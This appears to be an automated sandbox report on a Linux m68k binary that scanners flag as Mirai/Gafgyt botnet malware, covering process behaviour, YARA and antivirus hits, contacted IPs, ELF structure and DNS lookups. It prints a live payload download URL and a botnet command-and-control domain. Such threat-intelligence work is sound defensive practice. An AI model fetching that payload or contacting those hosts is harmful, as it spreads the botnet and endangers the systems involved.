Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5532/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3353/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/740/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1289/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5525/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5528/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5529/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5540/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5541/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5542/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3244/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3120/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3361/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3239/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/512/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/1299/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/514/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5534/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5535/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5536/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5537/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5538/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3011/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3129/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3125/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/3245/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5544/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/769/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5549/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5441/cmdline	Jump to behavior
Source: /tmp/Q2bIN963Kt.elf (PID: 5503)	File opened: /proc/5564/cmdline	Jump to behavior

Source: /tmp/Q2bIN963Kt.elf (PID: 5497)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5525)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5549)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5553)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5564)	Queries kernel information via 'uname':	Jump to behavior

Source: Q2bIN963Kt.elf, 5497.1.000055621ee8d000.000055621ef12000.rw-.sdmp	Binary or memory string: bU!/etc/qemu-binfmt/m68k
Source: Q2bIN963Kt.elf, 5497.1.00007fffe4099000.00007fffe40ba000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: Q2bIN963Kt.elf, 5497.1.000055621ee8d000.000055621ef12000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: Q2bIN963Kt.elf, 5497.1.00007fffe4099000.00007fffe40ba000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/Q2bIN963Kt.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Q2bIN963Kt.elf

Source: Yara match	File source: Q2bIN963Kt.elf, type: SAMPLE
Source: Yara match	File source: 5497.1.00007f162c001000.00007f162c027000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Q2bIN963Kt.elf PID: 5497, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source: Q2bIN963Kt.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5497.1.00007f162c001000.00007f162c027000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: Q2bIN963Kt.elf PID: 5497, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source	Detection	Scanner	Label	Link
Q2bIN963Kt.elf	56%	Virustotal		Browse
Q2bIN963Kt.elf	53%	ReversingLabs	Linux.Trojan.Mirai
Q2bIN963Kt.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Name	Source	Malicious	Reputation
http://103.174.73.190/tajma.mpsl;	Q2bIN963Kt.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	Q2bIN963Kt.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	Q2bIN963Kt.elf	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
157.59.234.239	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
96.109.114.220	unknown	United States	7922	COMCAST-7922US	false
31.87.128.158	unknown	United Kingdom	12576	EELtdGB	false
79.61.148.99	unknown	Italy	3269	ASN-IBSNAZIT	false
195.250.50.11	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.81.28.115	unknown	South Africa	10474	OPTINETZA	false
197.211.66.39	unknown	South Africa	29918	IMPOL-ASNZA	false
157.134.164.237	unknown	United States	600	OARNET-ASUS	false
123.205.65.246	unknown	Taiwan; Republic of China (ROC)	18049	TINP-TWTaiwanInfrastructureNetworkTechnologieTW	false
198.70.191.166	unknown	United States	1239	SPRINTLINKUS	false
18.87.6.108	unknown	United States	3	MIT-GATEWAYSUS	false
41.129.114.42	unknown	Egypt	24863	LINKdotNET-ASEG	false
124.209.205.11	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
60.241.213.96	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
71.223.130.242	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
61.138.221.143	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.4.200.40	unknown	Tunisia	5438	ATI-TN	false
157.155.117.88	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
197.222.122.244	unknown	Egypt	37069	MOBINILEG	false
155.11.211.14	unknown	Egypt	852	ASN852CA	false
90.219.13.242	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
41.116.238.227	unknown	South Africa	16637	MTNNS-ASZA	false
157.179.149.212	unknown	Thailand	15337	WRHARPERUS	false
177.18.229.226	unknown	Brazil	18881	TELEFONICABRASILSABR	false
19.233.9.243	unknown	United States	3	MIT-GATEWAYSUS	false
44.174.121.31	unknown	United States	20473	AS-CHOOPAUS	false
61.89.99.232	unknown	Japan	18081	KCNKintetsuCableNetworkCoLtdJP	false
157.148.253.252	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
157.107.79.214	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
197.108.90.215	unknown	South Africa	37168	CELL-CZA	false
197.206.51.8	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.13.235.121	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
38.243.217.20	unknown	United States	36336	NATIXISUS	false
157.3.104.217	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
41.198.255.164	unknown	South Africa	328306	Avanti-ASZA	false
140.176.127.113	unknown	United States	15199	WWUUS	false
132.69.219.226	unknown	Israel	378	MACHBA-ASILANIL	false
148.63.7.217	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
161.152.181.38	unknown	Australia	9328	DATACOM-AUDATACOMSYSTEMSAUPTYLTDAU	false
210.209.131.6	unknown	Taiwan; Republic of China (ROC)	17809	VEETIME-TW-APVEETIMECORPTW	false
157.155.166.33	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
157.15.151.194	unknown	unknown	2512	TCP-NETTCPIncJP	false
41.26.72.153	unknown	South Africa	29975	VODACOM-ZA	false
157.197.12.139	unknown	Korea Republic of	4704	SANNETRakutenMobileIncJP	false
119.8.40.33	unknown	Singapore	136907	HWCLOUDS-AS-APHUAWEICLOUDSHK	false
137.180.249.147	unknown	United States	11003	PANDGUS	false
27.185.84.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
4.130.162.249	unknown	United States	3356	LEVEL3US	false
186.195.5.249	unknown	Brazil	262734	Rede-TuxNetBR	false
174.243.200.75	unknown	United States	22394	CELLCOUS	false
115.45.227.99	unknown	China	17962	TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN	false
66.141.110.29	unknown	United States	7018	ATT-INTERNET4US	false
210.247.141.254	unknown	Australia	7496	WEBCENTRAL-ASWebCentralAU	false
114.135.239.90	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
25.61.160.67	unknown	United Kingdom	7922	COMCAST-7922US	false
9.110.39.110	unknown	United States	3356	LEVEL3US	false
157.37.131.132	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
82.96.9.42	unknown	Sweden	39369	PORT80SE	false
138.208.154.6	unknown	United States	21727	HAMLINE-EDUUS	false
154.185.62.78	unknown	Egypt	8452	TE-ASTE-ASEG	false
67.167.57.238	unknown	United States	7922	COMCAST-7922US	false
106.123.162.93	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.98.18.64	unknown	United States	3527	NIH-NETUS	false
73.3.3.113	unknown	United States	7922	COMCAST-7922US	false
176.12.71.185	unknown	Iran (ISLAMIC Republic Of)	39308	ASK-ASIR	false
187.240.240.70	unknown	Mexico	13999	MegaCableSAdeCVMX	false
41.170.38.58	unknown	South Africa	328312	Deloitte-ASZA	false
192.63.198.33	unknown	United States	unknown	unknown	false
132.92.96.23	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
59.53.0.170	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
181.231.36.4	unknown	Argentina	10481	TelecomArgentinaSAAR	false
46.252.137.235	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
81.6.26.144	unknown	Switzerland	1836	GREENgreenchAGAutonomousSystemEU	false
71.71.171.2	unknown	United States	11426	TWC-11426-CAROLINASUS	false
129.135.92.102	unknown	United States	6591	INGR-ASNUS	false
197.189.3.90	unknown	Congo The Democratic Republic of The	37598	EbaleCD	false
39.244.118.57	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
161.243.53.227	unknown	United States	36548	ASCOJUS	false
87.71.53.169	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
76.246.241.75	unknown	United States	7018	ATT-INTERNET4US	false
93.157.121.169	unknown	Russian Federation	29329	NODEX-ASNODEXFiberOpticNetworkSaint-PetersburgRussia	false
65.251.140.21	unknown	United States	701	UUNETUS	false
197.109.110.73	unknown	South Africa	37168	CELL-CZA	false
18.234.211.67	unknown	United States	14618	AMAZON-AESUS	false
12.203.71.74	unknown	United States	22983	FISERV-INCUS	false
160.168.60.143	unknown	Morocco	6713	IAM-ASMA	false
41.89.178.110	unknown	Kenya	36914	KENET-ASKE	false
98.183.174.207	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
197.16.212.68	unknown	Tunisia	37693	TUNISIANATN	false
96.184.21.235	unknown	United States	7922	COMCAST-7922US	false
210.144.161.200	unknown	Japan	4673	INTERVIANTTDATACORPORATIONJP	false
157.49.128.188	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.129.114.78	unknown	Egypt	24863	LINKdotNET-ASEG	false
220.45.129.251	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
221.233.187.248	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
157.111.123.163	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.186.243.56	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
135.79.12.213	unknown	United States	18676	AVAYAUS	false
141.7.56.133	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
5.125.227.236	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.129.114.42	arm5-20230705-0951.elf	Get hash	malicious	Mirai, Moobot	Browse
	o2CNWIA4Lt	Get hash	malicious	Mirai	Browse
	qbG0s1MD7I	Get hash	malicious	Mirai	Browse
71.223.130.242	sora.arm7.elf	Get hash	malicious	Mirai	Browse
197.81.28.115	bok.arm5-20230304-0316.elf	Get hash	malicious	Mirai	Browse
	IyUil7L22U.elf	Get hash	malicious	Mirai, Moobot	Browse
	yBfvjcdv6U.elf	Get hash	malicious	Mirai	Browse
197.211.66.39	W2FFumwWzL.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	L2IuyoaB0y.elf	Get hash	malicious	Mirai	Browse
	2370b3nkwg.elf	Get hash	malicious	Mirai, Moobot	Browse
	K7LFt7aJF5	Get hash	malicious	Mirai	Browse
197.4.200.40	GEGqQDiNR6.elf	Get hash	malicious	Mirai	Browse
	db0fa4b8db0333367e9bda3ab68b8042.m68k	Get hash	malicious	Mirai	Browse
	bMffqpGs95	Get hash	malicious	Mirai	Browse
157.155.117.88	x86.elf	Get hash	malicious	Mirai	Browse
157.134.164.237	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	CDBM32nPmA.elf	Get hash	malicious	Mirai, Moobot	Browse
	1CYgs95NzC.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-IBSNAZIT	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	195.223.150.208
	Gq7FlDf6cE.elf	Get hash	malicious	Mirai	Browse	88.56.62.147
	E3kpuuuOfy.elf	Get hash	malicious	Mirai	Browse	95.236.203.114
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	87.25.134.103
	3Bl37j9Opx.elf	Get hash	malicious	Mirai	Browse	188.8.84.220
	Vedtb2CYvY.elf	Get hash	malicious	Mirai	Browse	79.21.13.232
	QXeoSsX87R.elf	Get hash	malicious	Gafgyt, Mirai	Browse	82.55.0.241
	3OcPSlVa7n.elf	Get hash	malicious	Mirai	Browse	79.52.33.179
	rc21AW1MZD.elf	Get hash	malicious	Mirai	Browse	88.53.141.92
MICROSOFT-CORP-ASUS	H8wnVxIEh6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	157.57.242.82
	skid.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	157.57.242.31
	RAV6MYlZkN.elf	Get hash	malicious	Gafgyt, Mirai	Browse	157.57.242.94
	nYoGq0v7bV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	157.57.217.96
	P5uKPY120j.elf	Get hash	malicious	Mirai	Browse	167.220.198.200
	k1ojqk6Ntd.elf	Get hash	malicious	Mirai	Browse	157.54.14.12
	b8SFaKFQBb.elf	Get hash	malicious	Mirai	Browse	167.222.206.24
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	157.59.218.5
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	157.54.197.127
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.57.242.39
EELtdGB	BzmhHwFpCV.elf	Get hash	malicious	Mirai	Browse	31.68.44.104
	6VXQ3TUNZo.elf	Get hash	malicious	Mirai	Browse	31.118.153.222
	dPFRrhKTeG.elf	Get hash	malicious	Unknown	Browse	31.74.141.220
	E3kpuuuOfy.elf	Get hash	malicious	Mirai	Browse	178.111.160.220
	H8wnVxIEh6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	2.30.92.119
	3OcPSlVa7n.elf	Get hash	malicious	Mirai	Browse	31.106.207.254
	QFR4Qsnm6y.elf	Get hash	malicious	Mirai	Browse	31.77.234.30
	0FnrrE8B6Y.elf	Get hash	malicious	Mirai	Browse	178.103.193.172
	nYoGq0v7bV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	31.85.27.121
	tL98mBWW8p.elf	Get hash	malicious	Mirai	Browse	178.103.83.136
COMCAST-7922US	czEunnbk7b.elf	Get hash	malicious	Mirai	Browse	50.138.60.204
	9IseFevRH6.elf	Get hash	malicious	Mirai	Browse	28.207.184.25
	BzmhHwFpCV.elf	Get hash	malicious	Mirai	Browse	98.244.15.81
	dPFRrhKTeG.elf	Get hash	malicious	Unknown	Browse	28.217.105.210
	Gq7FlDf6cE.elf	Get hash	malicious	Mirai	Browse	73.142.10.37
	wFtZih4nN9.elf	Get hash	malicious	Mirai	Browse	184.120.134.153
	KSRRrEMt1w.elf	Get hash	malicious	Mirai	Browse	73.150.3.15
	ZOHH8muwjh.elf	Get hash	malicious	Mirai	Browse	74.20.17.112
	E3kpuuuOfy.elf	Get hash	malicious	Mirai	Browse	71.194.239.254

Process:	/tmp/Q2bIN963Kt.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.1219280948873624
Encrypted:	false
SSDEEP:	3:Tg0il:TgTl
MD5:	2B3C2974A5A2B321470DD474B338BD0E
SHA1:	0A53D9ABC97D8B0257F1EBB492E6810519EAB3D5
SHA-256:	316DB7BA9A7D654EB90236F514E73901CBE838E427BC442C12E77FF8FC259E48
SHA-512:	822E8D649D30D15418C063C5AE3E56E5D241EAACB80E9DB1EE8ACEE0EA57ABD4E313CD909DA70E81AB6D94338F3543A34D12DEDBECB66095E4A70D799AFCC0BE
Malicious:	false
Reputation:	low
Preview:	/tmp/Q2bIN963Kt.elf.

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.8055769661433
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Q2bIN963Kt.elf
File size:	173'928 bytes
MD5:	1b85e749aeaf15db971ce3b1f8d0fa31
SHA1:	c316bf42e6041ef98b9560aaa4e27deae486a675
SHA256:	9d89c1f698338f8ff61e95c2cccabf3e3ca5f43ee148e450a51d24ebb449da31
SHA512:	d93bb4fc03385e72db6730d106e07a0f280bb3159fd1910f25644c77a29c728297e5372830207ea1d592b2d1a3995db33f6d4bd9834920967e6f353556308b9b
SSDEEP:	3072:i/dE74+Mbli9EqEBQeuacWjcW0JcWcBmaj9cXb9+cXLRmVdUxLGEOs8+odsl:c6TMbYoBQeuacWjcW0JcWcBlj9IbPX1V
TLSH:	940418C7F801DEBAF44AE73708130909B130B7E155920B3762677A7FED3A099156BE86
File Content Preview:	.ELF.......................D...4.........4. ...(......................^(..^(...... .......^,..~,..~,..Gl...T...... .dt.Q............................NV..a....da.../.N^NuNV..J9....f>"y..~d QJ.g.X.#...~dN."y..~d QJ.f.A.....J.g.Hy..~(N.X.........N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	173528
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x22ffe	0x0	0x6	AX	4
.fini	PROGBITS	0x800230a6	0x230a6	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x800230b4	0x230b4	0x2d74	0x0	0x2	A	2
.ctors	PROGBITS	0x80027e2c	0x25e2c	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x80027e38	0x25e38	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80027e60	0x25e60	0x4738	0x0	0x3	WA	32
.bss	NOBITS	0x8002c598	0x2a598	0x48e8	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x2a598	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x25e28	0x25e28	6.1636	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x25e2c	0x80027e2c	0x80027e2c	0x476c	0x9054	0.4875	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Q2bIN963Kt.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.01AGIk (deleted)

/tmp/qemu-open.0SgW6h (deleted)

/tmp/qemu-open.0SpJNj (deleted)

/tmp/qemu-open.0StLBl (deleted)

/tmp/qemu-open.0SwB7i (deleted)

/tmp/qemu-open.0TUIwi (deleted)

/tmp/qemu-open.0ZQaGl (deleted)

/tmp/qemu-open.0fNBYh (deleted)

/tmp/qemu-open.0lVACk (deleted)

/tmp/qemu-open.0mnJ9h (deleted)

/tmp/qemu-open.0ngQqj (deleted)

/tmp/qemu-open.0qucti (deleted)

/tmp/qemu-open.0sJAKk (deleted)

/tmp/qemu-open.0vHowh (deleted)

/tmp/qemu-open.0zhFHj (deleted)

/tmp/qemu-open.16JiEi (deleted)

/tmp/qemu-open.181xoi (deleted)

/tmp/qemu-open.1FfUEl (deleted)

/tmp/qemu-open.1SFYqi (deleted)

/tmp/qemu-open.1UwpHj (deleted)

/tmp/qemu-open.1WOzhk (deleted)

/tmp/qemu-open.1haqwl (deleted)

/tmp/qemu-open.1hwHoi (deleted)

/tmp/qemu-open.1kEyMh (deleted)

/tmp/qemu-open.1rzRak (deleted)

/tmp/qemu-open.202qhl (deleted)

/tmp/qemu-open.20633h (deleted)

Linux Analysis Report
Q2bIN963Kt.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 13:06:57.643665075 CEST	192.168.2.14	8.8.8.8	0x7ab7	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:04.089054108 CEST	192.168.2.14	8.8.8.8	0x7fe0	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:11.589761972 CEST	192.168.2.14	8.8.8.8	0x5b21	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:22.040946007 CEST	192.168.2.14	8.8.8.8	0x9ee8	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:26.504523039 CEST	192.168.2.14	8.8.8.8	0xbafc	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:36.977730036 CEST	192.168.2.14	8.8.8.8	0xfc6b	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:39.424391985 CEST	192.168.2.14	8.8.8.8	0x1aec	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:45.902988911 CEST	192.168.2.14	8.8.8.8	0xfd32	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:50.353447914 CEST	192.168.2.14	8.8.8.8	0xcdf5	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:07:58.805208921 CEST	192.168.2.14	8.8.8.8	0x226d	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 13:08:03.276139021 CEST	192.168.2.14	8.8.8.8	0x75fc	Standard query (0)	botnet.net-killertajima.com	A (IP address)	IN (0x0001)	false
